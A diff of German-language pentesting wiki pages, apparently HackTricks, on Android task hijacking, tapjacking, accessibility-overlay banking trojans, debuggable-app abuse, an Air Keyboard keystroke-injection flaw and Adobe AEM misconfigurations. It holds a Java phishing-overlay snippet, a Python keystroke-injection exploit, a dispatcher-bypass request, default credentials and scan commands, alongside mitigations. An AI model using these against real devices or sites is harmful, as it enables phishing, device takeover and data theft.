### 4. Brute-Forcing unbekannter Methoden
|
||||
Wenn Header-Dateien nicht verfügbar sind, können Sie **den Code iterieren**, bis sich der Fehler ändert von:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
@ -423,7 +423,7 @@ done
|
||||
Wenn der Dienst **mit ProGuard** kompiliert wurde, muss die Zuordnung erraten werden – siehe nächsten Schritt.
|
||||
|
||||
### 5. Zuordnung von Codes ↔ Methoden über onTransact()
|
||||
Dekompiliere die jar/odex, die das Interface implementiert (für AOSP-Stubs siehe `/system/framework`; OEMs verwenden oft `/system_ext` oder `/vendor`).
|
||||
Decompile das jar/odex, das das Interface implementiert (für AOSP-Stubs siehe `/system/framework`; OEMs verwenden oft `/system_ext` oder `/vendor`).
|
||||
Suche nach `Stub.onTransact()` – es enthält ein riesiges `switch(transactionCode)`:
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
@ -434,9 +434,9 @@ updateCtaAppStatus(appId, ok);
|
||||
reply.writeNoException();
|
||||
return true;
|
||||
```
|
||||
Jetzt sind der Prototyp und die **Parameterarten** kristallklar.
|
||||
Jetzt sind das Prototyp und die **Parameterarten** kristallklar.
|
||||
|
||||
### 6. Fehlende Berechtigungsprüfungen erkennen
|
||||
### 6. Erkennen fehlender Berechtigungsprüfungen
|
||||
Die Implementierung (oft eine innere `Impl`-Klasse) ist verantwortlich für die Autorisierung:
|
||||
```java
|
||||
private void updateCtaAppStatus(int uid, boolean status) {
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Task, Back Stack und Vordergrundaktivitäten
|
||||
|
||||
In Android ist eine **Task** im Wesentlichen eine Gruppe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe abzuschließen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Vordergrundaktivität** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Vordergrund-Task** macht.
|
||||
In Android ist eine **Task** im Wesentlichen eine Gruppe von Aktivitäten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe zu erledigen, organisiert innerhalb eines **Back Stacks**. Dieser Stack ordnet Aktivitäten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste Aktivität oben als **Vordergrundaktivität** angezeigt wird. Zu jedem Zeitpunkt ist nur diese Aktivität auf dem Bildschirm sichtbar, was sie Teil der **Vordergrund-Task** macht.
|
||||
|
||||
Hier ist eine kurze Übersicht über Aktivitätsübergänge:
|
||||
|
||||
@ -23,7 +23,7 @@ Hier ist eine kurze Übersicht über Aktivitätsübergänge:
|
||||
|
||||
Wenn ein Angreifer eine bösartige Aktivität an die **Wurzel** dieses Stacks platzieren kann, wird jedes Mal, wenn das Opfer die legitime Anwendung öffnet, die bösartige Benutzeroberfläche das Erste sein, was der Benutzer sieht – perfekt für Phishing oder missbräuchliche Berechtigungsanfragen.
|
||||
|
||||
Die Angriffsfläche ist breiter, als viele Entwickler denken, da **jede Aktivität automatisch eine Affinität erbt, die dem Anwendungs-Paketnamen entspricht** (es sei denn, der Entwickler setzt `android:taskAffinity=""`). Daher lässt *nichts tun* die App bereits für Task-Hijacking auf Android-Versionen vor 11 offen.
|
||||
Die Angriffsfläche ist breiter, als viele Entwickler denken, da **jede Aktivität automatisch eine Affinität erbt, die dem Anwendungs-Paketnamen entspricht** (es sei denn, der Entwickler setzt `android:taskAffinity=""`). Daher *nichts zu tun* lässt die App bereits für Task-Hijacking auf Android-Versionen vor 11 offen.
|
||||
|
||||
### Klassisches "singleTask / StrandHogg"-Szenario
|
||||
|
||||
@ -40,10 +40,10 @@ android:launchMode="singleTask" >
|
||||
</activity>
|
||||
```
|
||||
2. Die bösartige App wird einmal gestartet, sodass die Task (mit der gefälschten Affinität) in den letzten Tasks existiert.
|
||||
3. Wenn der Benutzer später die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren **Wurzel-Affinität mit dem Paket übereinstimmt**, und bringt einfach diese Task in den Vordergrund.
|
||||
3. Wenn der Benutzer später die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren **Wurzel-Affinität mit dem Paket übereinstimmt**, und bringt diese Task einfach in den Vordergrund.
|
||||
4. Die Benutzeroberfläche des Angreifers wird zuerst angezeigt.
|
||||
|
||||
### Standard-Affinitätsvariante (kein `singleTask`) – Caller ID Fallstudie
|
||||
### Standard-Affinität (kein `singleTask`) Variante – Caller ID Fallstudie
|
||||
|
||||
Die in der **Caller ID (caller.id.phone.number.block)** Anwendung gemeldete Schwachstelle zeigt, dass der Angriff *auch* gegen den Standard-`standard`-Startmodus funktioniert:
|
||||
|
||||
@ -76,7 +76,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Reflexionsbasierter Task-Hijack
|
||||
|
||||
Das Sicherheitsbulletin von Google vom Mai 2020 behob eine fortgeschrittenere Variante, die **StrandHogg 2.0** genannt wird. Der Exploit **beruht überhaupt nicht auf `taskAffinity`**; stattdessen verwendet er *Reflexion*, um die Aktivität des Angreifers dynamisch an die Spitze *jeder* laufenden Task einzufügen und umgeht vollständig die von Android 11 eingeführte "shared-UID"-Einschränkung.
|
||||
Das Sicherheitsbulletin von Google vom Mai 2020 behob eine fortgeschrittenere Variante, die **StrandHogg 2.0** genannt wird. Der Exploit **beruht überhaupt nicht auf `taskAffinity`**; stattdessen verwendet er *Reflexion*, um die Aktivität des Angreifers dynamisch an die Spitze *jeder* laufenden Task einzufügen und umgeht vollständig die „Shared-UID“-Einschränkung, die mit Android 11 eingeführt wurde.
|
||||
|
||||
Wichtige Punkte:
|
||||
|
||||
@ -84,7 +84,7 @@ Wichtige Punkte:
|
||||
* Da die Aktivität nach der Laufzeit eingefügt wird, können weder `launchMode` noch statische Manifestanalyse den Angriff im Voraus erkennen.
|
||||
* Behebt durch das Zurückportieren einer Überprüfung in **Android 8.0/8.1/9** (Mai 2020 SPL). **Android 10 und höher sind nicht betroffen.**
|
||||
|
||||
Die Erkennung auf vorgepatchten Geräten kann mit `adb shell dumpsys activity activities` durchgeführt werden, wobei auf verdächtige Aktivitäten geachtet wird, deren Paketname von der *Affinität* der Task abweicht.
|
||||
Die Erkennung auf vorgepatchten Geräten kann mit `adb shell dumpsys activity activities` durchgeführt werden, indem nach verdächtigen Aktivitäten gesucht wird, deren Paketname von der *Affinität* der Task abweicht.
|
||||
|
||||
Die Minderung für Legacy-Geräte ist die gleiche wie beim klassischen Task-Hijacking **plus** Laufzeitüberprüfung (z. B. Aufruf von [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) und Validierung des eigenen Paketnamens).
|
||||
|
||||
@ -92,7 +92,7 @@ Die Minderung für Legacy-Geräte ist die gleiche wie beim klassischen Task-Hija
|
||||
|
||||
## Erkennungs- & Ausnutzungscheckliste
|
||||
|
||||
1. **Statische Überprüfung** – Ziehen Sie `AndroidManifest.xml` aus der Ziel-APK und überprüfen Sie, dass jede `<activity>` (oder das globale `<application>`-Element) `android:taskAffinity=""` (leer) **oder** einen benutzerdefinierten Wert enthält. Tools wie:
|
||||
1. **Statische Überprüfung** – Ziehen Sie `AndroidManifest.xml` aus der Ziel-APK und überprüfen Sie, ob jede `<activity>` (oder das globale `<application>`-Element) `android:taskAffinity=""` (leer) **oder** einen benutzerdefinierten Wert enthält. Tools wie:
|
||||
```bash
|
||||
# Verwendung von apkanalyzer (Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
Eine Task, deren Wurzel-Affinität dem Paket des Opfers entspricht, aber deren oberste Aktivität zu einem *anderen* Paket gehört, ist ein Warnsignal.
|
||||
Eine Task, deren Wurzel-Affinität dem Paket des Opfers entspricht, deren oberste Aktivität jedoch zu einem *anderen* Paket gehört, ist ein Warnsignal.
|
||||
3. Erstellen Sie eine bösartige App wie oben beschrieben oder verwenden Sie **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
@ -122,13 +122,13 @@ Entwickler sollten:
|
||||
* Für hochsensible Bildschirme die obigen Punkte mit `android:launchMode="singleInstance"` oder modernen [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode)-Schutzmaßnahmen kombinieren.
|
||||
* Die `targetSdkVersion` der App aktualisieren und die **Android 11**-Verhaltensänderungen durchsetzen, bei denen Tasks standardmäßig nicht über Pakete hinweg geteilt werden.
|
||||
* **Android 12 (API 31) oder höher** anvisieren, damit das obligatorische `android:exported`-Attribut die Entwickler zwingt, jede extern erreichbare Komponente zu überprüfen.
|
||||
* Laufzeit-Selbstschutz in Betracht ziehen: regelmäßig `ActivityTaskManager` abfragen, um sicherzustellen, dass das Paket Ihrer obersten Aktivität mit Ihrem eigenen übereinstimmt.
|
||||
* Laufzeit-Selbstverteidigung in Betracht ziehen: regelmäßig `ActivityTaskManager` abfragen, um sicherzustellen, dass das Paket Ihrer obersten Aktivität mit Ihrem eigenen übereinstimmt.
|
||||
|
||||
---
|
||||
|
||||
## Verwandte UI-Hijacking-Techniken
|
||||
|
||||
Task-Hijacking wird oft mit oder durch **Tapjacking** (überlagerungsbasierte UI-Täuschung) kombiniert oder ersetzt. Die Forschung von 2025 **TapTrap** zeigte, dass vollständig transparente *animationsgesteuerte* Aktivitäten die in Android 12–14 eingeführten Überlagerungsberührungsbeschränkungen umgehen können und Benutzer dennoch dazu verleiten, gefährliche Berechtigungen zu gewähren. Während TapTrap nicht strikt *Task*-Hijacking ist, ist das Endziel (Phishing-Klicks) identisch – moderne Bewertungen sollten daher beide Angriffsflächen überprüfen.
|
||||
Task-Hijacking wird oft mit oder durch **Tapjacking** (überlagerungsbasierte UI-Täuschung) kombiniert oder ersetzt. Die Forschung von 2025 **TapTrap** zeigte, dass vollständig transparente *animationsgesteuerte* Aktivitäten die Überlagerungsberührungsbeschränkungen umgehen können, die in Android 12–14 eingeführt wurden, und Benutzer dennoch dazu verleiten können, gefährliche Berechtigungen zu gewähren. Während TapTrap nicht strikt *Task*-Hijacking ist, ist das Endziel (Phishing-Klicks) identisch – moderne Bewertungen sollten daher beide Angriffsflächen überprüfen.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ Inhalt basierend auf https://medium.com/@shubhamsonani/hacking-with-precision-by
|
||||
|
||||
- Verwenden Sie das APK-GUI-Tool zum Dekompilieren der APK.
|
||||
- Fügen Sie in der _android-manifest_-Datei `android:debuggable="true"` hinzu, um den Debugging-Modus zu aktivieren.
|
||||
- Kompilieren Sie die modifizierte Anwendung neu, signieren Sie sie und zipalignen Sie sie.
|
||||
- Kompilieren Sie die modifizierte Anwendung neu, signieren Sie sie und zipalign.
|
||||
|
||||
2. **Die modifizierte Anwendung installieren:**
|
||||
|
||||
@ -26,7 +26,7 @@ Inhalt basierend auf https://medium.com/@shubhamsonani/hacking-with-precision-by
|
||||
|
||||
- Führen Sie `adb shell pm list packages –3` aus, um Drittanbieteranwendungen aufzulisten und den Paketnamen zu finden.
|
||||
|
||||
4. **Die App auf eine Debugger-Verbindung warten lassen:**
|
||||
4. **Die App auf die Verbindung des Debuggers warten lassen:**
|
||||
|
||||
- Befehl: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Hinweis:** Dieser Befehl muss jedes Mal ausgeführt werden, bevor die Anwendung gestartet wird, um sicherzustellen, dass sie auf den Debugger wartet.
|
||||
@ -53,9 +53,9 @@ Für die debugbare Prüfung:
|
||||
|
||||

|
||||
|
||||
Diese Schritte stellen sicher, dass die Anwendung debuggt werden kann und dass bestimmte Sicherheitsprüfungen mithilfe des Debuggers umgangen werden können, was eine eingehendere Analyse oder Modifikation des Verhaltens der Anwendung ermöglicht.
|
||||
Diese Schritte stellen sicher, dass die Anwendung debuggt werden kann und dass bestimmte Sicherheitsprüfungen mit Hilfe des Debuggers umgangen werden können, was eine eingehendere Analyse oder Modifikation des Verhaltens der Anwendung ermöglicht.
|
||||
|
||||
Schritt 2 beinhaltet die Änderung eines Flag-Werts auf 814267972, der binär als 110000101101000000100010100 dargestellt wird.
|
||||
Schritt 2 beinhaltet das Ändern eines Flagwerts auf 814267972, was binär als 110000101101000000100010100 dargestellt wird.
|
||||
|
||||
# **Ausnutzen einer Schwachstelle**
|
||||
|
||||
@ -76,12 +76,12 @@ Eine Demonstration wurde mit einer verwundbaren Anwendung durchgeführt, die ein
|
||||
## **Code zur Laufzeit injizieren**
|
||||
|
||||
- Die Ausnutzung wurde durch das Setzen von Breakpoints und das Steuern des Anwendungsflusses durchgeführt.
|
||||
- Befehle wie `classes` und `methods <class_name>` wurden verwendet, um die Struktur der Anwendung aufzudecken.
|
||||
- Befehle wie `classes` und `methods <class_name>` wurden verwendet, um die Struktur der Anwendung zu enthüllen.
|
||||
- Ein Breakpoint wurde in der `onClick`-Methode gesetzt, und dessen Ausführung wurde gesteuert.
|
||||
- Die Befehle `locals`, `next` und `set` wurden verwendet, um lokale Variablen zu inspizieren und zu ändern, insbesondere um die Nachricht "Try Again" in "Hacked" zu ändern.
|
||||
- Der modifizierte Code wurde mit dem Befehl `run` ausgeführt, wodurch die Ausgabe der Anwendung in Echtzeit erfolgreich geändert wurde.
|
||||
|
||||
Dieses Beispiel demonstrierte, wie das Verhalten einer debugbaren Anwendung manipuliert werden kann, und hob das Potenzial für komplexere Ausnutzungen wie den Erhalt von Shell-Zugriff auf das Gerät im Kontext der Anwendung hervor.
|
||||
Dieses Beispiel demonstrierte, wie das Verhalten einer debugbaren Anwendung manipuliert werden kann, und hebt das Potenzial für komplexere Ausnutzungen hervor, wie z.B. den Zugriff auf die Shell im Kontext der Anwendung.
|
||||
|
||||
---
|
||||
|
||||
@ -113,7 +113,7 @@ jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
|
||||
* Patch auf **2024-06-01** (oder später) Sicherheitslevel – Google hat `ZygoteCommandBuffer` gehärtet, sodass nachfolgende Befehle nicht auf diese Weise geschmuggelt werden können.
|
||||
* Beschränken Sie den Zugriff auf `WRITE_SECURE_SETTINGS` / `shell` auf Produktionsgeräten. Der Exploit benötigt diese Berechtigung, die normalerweise nur von ADB oder OEM-privilegierten Apps gehalten wird.
|
||||
* Bei EMM/MDM-gemanagten Flotten `ro.debuggable=0` durchsetzen und den Shell-Zugriff über `adb disable-verifier` verweigern.
|
||||
* Bei EMM/MDM-gemanagten Flotten `ro.debuggable=0` durchsetzen und Shell über `adb disable-verifier` verweigern.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Grundinformationen**
|
||||
|
||||
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **über einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
|
||||
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
|
||||
In der Tat **blindet es den Benutzer, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opfer-App ausführt**.
|
||||
|
||||
### Erkennung
|
||||
@ -56,7 +56,7 @@ Sie können [**qark**](https://github.com/linkedin/qark) mit den Parametern `--e
|
||||
|
||||
Die Minderung ist relativ einfach, da der Entwickler wählen kann, ob er keine Touch-Ereignisse empfangen möchte, wenn eine Ansicht von einer anderen überdeckt wird. Mit dem [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Manchmal ist es wichtig, dass eine Anwendung überprüfen kann, dass eine Aktion mit vollem Wissen und Einverständnis des Benutzers durchgeführt wird, wie z.B. das Gewähren einer Berechtigungsanfrage, das Tätigen eines Kaufs oder das Klicken auf eine Werbung. Leider könnte eine bösartige Anwendung versuchen, den Benutzer zu täuschen, diese Aktionen unwissentlich auszuführen, indem sie den beabsichtigten Zweck der Ansicht verbirgt. Als Abhilfe bietet das Framework einen Touch-Filtermechanismus, der verwendet werden kann, um die Sicherheit von Ansichten zu verbessern, die Zugang zu sensibler Funktionalität bieten.
|
||||
> Manchmal ist es wichtig, dass eine Anwendung überprüfen kann, dass eine Aktion mit vollem Wissen und Einverständnis des Benutzers durchgeführt wird, wie z.B. das Gewähren einer Berechtigungsanfrage, das Tätigen eines Kaufs oder das Klicken auf eine Werbung. Leider könnte eine bösartige Anwendung versuchen, den Benutzer zu täuschen, diese Aktionen unwissentlich durchzuführen, indem sie den beabsichtigten Zweck der Ansicht verbirgt. Als Abhilfe bietet das Framework einen Touch-Filtermechanismus, der verwendet werden kann, um die Sicherheit von Ansichten zu verbessern, die Zugang zu sensibler Funktionalität bieten.
|
||||
>
|
||||
> Um die Touch-Filterung zu aktivieren, rufen Sie [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) auf oder setzen Sie das Layoutattribut android:filterTouchesWhenObscured auf true. Wenn aktiviert, verwirft das Framework Berührungen, die empfangen werden, wenn das Fenster der Ansicht von einem anderen sichtbaren Fenster überdeckt wird. Infolgedessen erhält die Ansicht keine Berührungen, wenn ein Toast, Dialog oder ein anderes Fenster über dem Fenster der Ansicht erscheint.
|
||||
|
||||
@ -64,12 +64,12 @@ Die Minderung ist relativ einfach, da der Entwickler wählen kann, ob er keine T
|
||||
|
||||
## Accessibility Overlay Phishing (Banking-Trojan-Variante)
|
||||
|
||||
Neben klassischem Tapjacking missbrauchen moderne Android-Banking-Malware-Familien (z.B. **ToxicPanda**, BrasDex, Sova usw.) den **Accessibility Service**, um ein vollflächiges WebView-**Overlay** über der legitimen Anwendung zu platzieren, während sie weiterhin in der Lage sind, die **Benutzereingaben** an die darunterliegende Ansicht weiterzuleiten. Dies erhöht die Glaubwürdigkeit erheblich und ermöglicht es Angreifern, Anmeldeinformationen, OTPs oder sogar betrügerische Transaktionen zu stehlen.
|
||||
Neben klassischem Tapjacking missbrauchen moderne Android-Banking-Malware-Familien (z.B. **ToxicPanda**, BrasDex, Sova usw.) den **Accessibility Service**, um eine vollbildige WebView-**Überlagerung** über der legitimen Anwendung zu platzieren, während sie weiterhin in der Lage sind, die **Benutzereingaben** an die darunterliegende Ansicht weiterzuleiten. Dies erhöht die Glaubwürdigkeit erheblich und ermöglicht es Angreifern, Anmeldeinformationen, OTPs oder sogar betrügerische Transaktionen zu stehlen.
|
||||
|
||||
### Wie es funktioniert
|
||||
1. Die bösartige APK fordert die hochsensiblen Berechtigungen `BIND_ACCESSIBILITY_SERVICE` an, wobei die Anfrage normalerweise hinter einem gefälschten Google/Chrome/PDF-Viewer-Dialog verborgen wird.
|
||||
2. Sobald der Benutzer den Dienst aktiviert, simuliert die Malware programmgesteuert die erforderlichen Taps, um zusätzliche gefährliche Berechtigungen zu gewähren (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Ein **WebView** wird erstellt und dem Fenster-Manager mit dem **`TYPE_ACCESSIBILITY_OVERLAY`** Fenstertyp hinzugefügt. Das Overlay kann völlig undurchsichtig oder halbtransparent gerendert werden und kann als *„durch“* gekennzeichnet werden, sodass die ursprünglichen Berührungen weiterhin an die Hintergrundaktivität weitergeleitet werden (so findet die Transaktion tatsächlich statt, während das Opfer nur das Phishing-Formular sieht).
|
||||
3. Eine **WebView** wird erstellt und dem Fenster-Manager mit dem **`TYPE_ACCESSIBILITY_OVERLAY`** Fenstertyp hinzugefügt. Die Überlagerung kann völlig undurchsichtig oder halbtransparent gerendert werden und kann als *„durch“* gekennzeichnet werden, sodass die ursprünglichen Berührungen weiterhin an die Hintergrundaktivität weitergeleitet werden (so findet die Transaktion tatsächlich statt, während das Opfer nur das Phishing-Formular sieht).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -86,14 +86,14 @@ PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
### Typischer Workflow von Banking-Trojanern
|
||||
* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking-/Wallet-App derzeit geöffnet ist.
|
||||
* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking- / Wallet-App derzeit geöffnet ist.
|
||||
* Laden Sie eine **HTML/JS-Overlay-Vorlage** vom C2 herunter, die diese spezifische Anwendung perfekt imitiert (Logo, Farben, i18n-Strings…).
|
||||
* Overlay anzeigen, Anmeldeinformationen/PIN/Muster erfassen.
|
||||
* Verwenden Sie die **Accessibility API** (`performGlobalAction`, `GestureDescription`), um Überweisungen im Hintergrund zu automatisieren.
|
||||
|
||||
### Erkennung & Minderung
|
||||
* Überprüfen Sie die Liste der installierten Apps mit `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Von der Anwendungsseite (Bank/Wallet):
|
||||
* Von der Anwendungsseite (Bank / Wallet):
|
||||
- Aktivieren Sie **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) für sensible Ansichten, um nicht im Play Store verfügbare Dienste zu blockieren.
|
||||
- Kombinieren Sie dies mit `setFilterTouchesWhenObscured(true)` und `FLAG_SECURE`.
|
||||
* Systemhärtung:
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
Die iOS-Version der kommerziellen **„Air Keyboard“**-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der **Tastatureingabeframes ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert**. Je nach installierter Version ist der Dienst entweder:
|
||||
Die iOS-Version der kommerziellen **„Air Keyboard“**-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der **Tastatureingaben ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert**. Je nach installierter Version ist der Dienst entweder:
|
||||
|
||||
* **≤ 1.0.4** – roter TCP-Listener auf **Port 8888**, der einen 2-Byte-Längenheader erwartet, gefolgt von einer *device-id* und der ASCII-Nutzlast.
|
||||
* **≥ 1.0.5 (Juni 2025)** – **WebSocket**-Listener auf dem *gleichen* Port (**8888**), der **JSON**-Schlüssel wie `{"type":1,"text":"…"}` analysiert.
|
||||
|
||||
Jedes Gerät im selben Wi-Fi / Subnetz kann daher **willkürliche Tastatureingaben in das Telefon des Opfers injizieren und vollständige Remote-Interaktionsübernahme erreichen**. Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht dennoch eine **nicht behandelte Ausnahme in OpenSSL**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
|
||||
|
||||
> Die Schwachstelle ist **zum Zeitpunkt des Schreibens (Juli 2025) immer noch nicht gepatcht** und die Anwendung bleibt im App Store verfügbar.
|
||||
> Die Schwachstelle ist **zum Zeitpunkt des Schreibens (Juli 2025)** **noch nicht gepatcht** und die Anwendung bleibt im App Store verfügbar.
|
||||
|
||||
---
|
||||
|
||||
@ -32,7 +32,7 @@ adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
Auf **jailbroken iOS** können Sie etwas Ähnliches tun mit `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
Auf **jailbroken iOS** können Sie etwas Ähnliches mit `lsof -i -nP | grep LISTEN | grep 8888` tun.
|
||||
|
||||
---
|
||||
|
||||
@ -101,7 +101,7 @@ ws.send(json.dumps({
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*Jeder druckbare ASCII-Zeichen — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.*
|
||||
*Jeder druckbare ASCII — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.*
|
||||
|
||||
---
|
||||
|
||||
@ -134,25 +134,25 @@ Diese Fälle heben eine systematische Vernachlässigung der **netzwerkseitigen A
|
||||
|
||||
---
|
||||
|
||||
## 7. Härtungs- & Verteidigungsmaßnahmen
|
||||
## 7. Härtungs- & Abwehrmaßnahmen
|
||||
|
||||
Entwicklerempfehlungen:
|
||||
|
||||
* Binden Sie den Listener an **`127.0.0.1`** und tunneln Sie über **mTLS** oder **Noise XX**, wenn Fernsteuerung erforderlich ist.
|
||||
* Leiten Sie **geräteabhängige Geheimnisse während der Onboarding-Phase ab** (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie *gegenseitige* Authentifizierung, bevor Sie Eingaben verarbeiten.
|
||||
* Leiten Sie **geräteabhängige Geheimnisse während der Onboarding-Phase ab** (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie *gegenseitige* Authentifizierung, bevor Eingaben verarbeitet werden.
|
||||
* Übernehmen Sie das **Apple Network Framework** mit *NWListener* + TLS anstelle von Roh-Sockets.
|
||||
* Implementieren Sie **Längenpräfix-Sanity-Checks** und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames.
|
||||
* Implementieren Sie **Längen-Präfix-Sanity-Checks** und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames.
|
||||
|
||||
Blue-/Red-Team schnelle Erfolge:
|
||||
|
||||
* **Netzwerksuche:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` oder Wireshark-Filter `tcp.port == 8888`.
|
||||
* **Laufzeitanalyse:** Frida-Skript, das `socket()`/`NWConnection` hookt, um unerwartete Listener aufzulisten.
|
||||
* **iOS App Privacy Report (Einstellungen ▸ Datenschutz & Sicherheit ▸ App-Datenschutzbericht)** hebt Apps hervor, die LAN-Adressen kontaktieren – nützlich, um bösartige Dienste zu erkennen.
|
||||
* **iOS App Datenschutzbericht (Einstellungen ▸ Datenschutz & Sicherheit ▸ App Datenschutzbericht)** hebt Apps hervor, die LAN-Adressen kontaktieren – nützlich zum Erkennen von bösartigen Diensten.
|
||||
* **Mobile EDRs** können einfache Yara-L-Regeln für die JSON-Schlüssel `"selectionStart"`, `"selectionEnd"` innerhalb von Klartext-TCP-Nutzlasten auf Port 8888 hinzufügen.
|
||||
|
||||
---
|
||||
|
||||
## Erkennungs-Checkliste (Pentester)
|
||||
## Erkennungs-Spickzettel (Pentester)
|
||||
```bash
|
||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||
|
||||
@ -36,17 +36,17 @@ Pfad | Was Sie erhalten | Anmerkungen
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs-Dump | XSS-Vektor.
|
||||
|
||||
### Dispatcher-Bypass-Trick
|
||||
Die meisten Produktionsseiten befinden sich hinter dem *Dispatcher* (Reverse-Proxy). Seine Filterregeln können umgangen werden, indem eine erlaubte statische Erweiterung **nach einem Semikolon oder einem kodierten Zeilenumbruch** angehängt wird:
|
||||
Die meisten Produktionsseiten befinden sich hinter dem *Dispatcher* (Reverse-Proxy). Seine Filterregeln können umgangen werden, indem eine erlaubte statische Erweiterung **nach einem Semikolon oder kodierten Zeilenumbruch** angehängt wird:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Eine einzelne Anfrage wie oben offenbart häufig Benutzerprofilknoten mit E-Mail-Adressen. P-T Partners veröffentlichte gute Hinweise zu dieser Schwäche. 【】
|
||||
Eine einzelne Anfrage wie oben offenbart häufig Benutzerprofilknoten mit E-Mail-Adressen. P-T Partners veröffentlichte gute Hinweise zu dieser Schwachstelle. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Häufige Fehlkonfigurationen (immer noch aktiv im Jahr 2025)
|
||||
|
||||
1. **Anonymer POST-Servlet** – `POST /.json` mit `:operation=import` ermöglicht es, neue JCR-Knoten zu erstellen. Das Blockieren von `*.json` POST im Dispatcher behebt dies. 【】
|
||||
1. **Anonymer POST-Servlet** – `POST /.json` mit `:operation=import` ermöglicht es, neue JCR-Knoten zu erstellen. Das Blockieren von `*.json` POST im Dispatcher behebt das Problem. 【】
|
||||
2. **Weltweit lesbare Benutzerprofile** – Standard-ACL gewährt `jcr:read` auf `/home/users/**/profile/*` für alle.
|
||||
3. **Standardanmeldeinformationen** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** aktiviert ⇒ reflektiertes XSS über `?debug=layout` (CVE-2016-7882, immer noch bei Legacy 6.4-Installationen gefunden).
|
||||
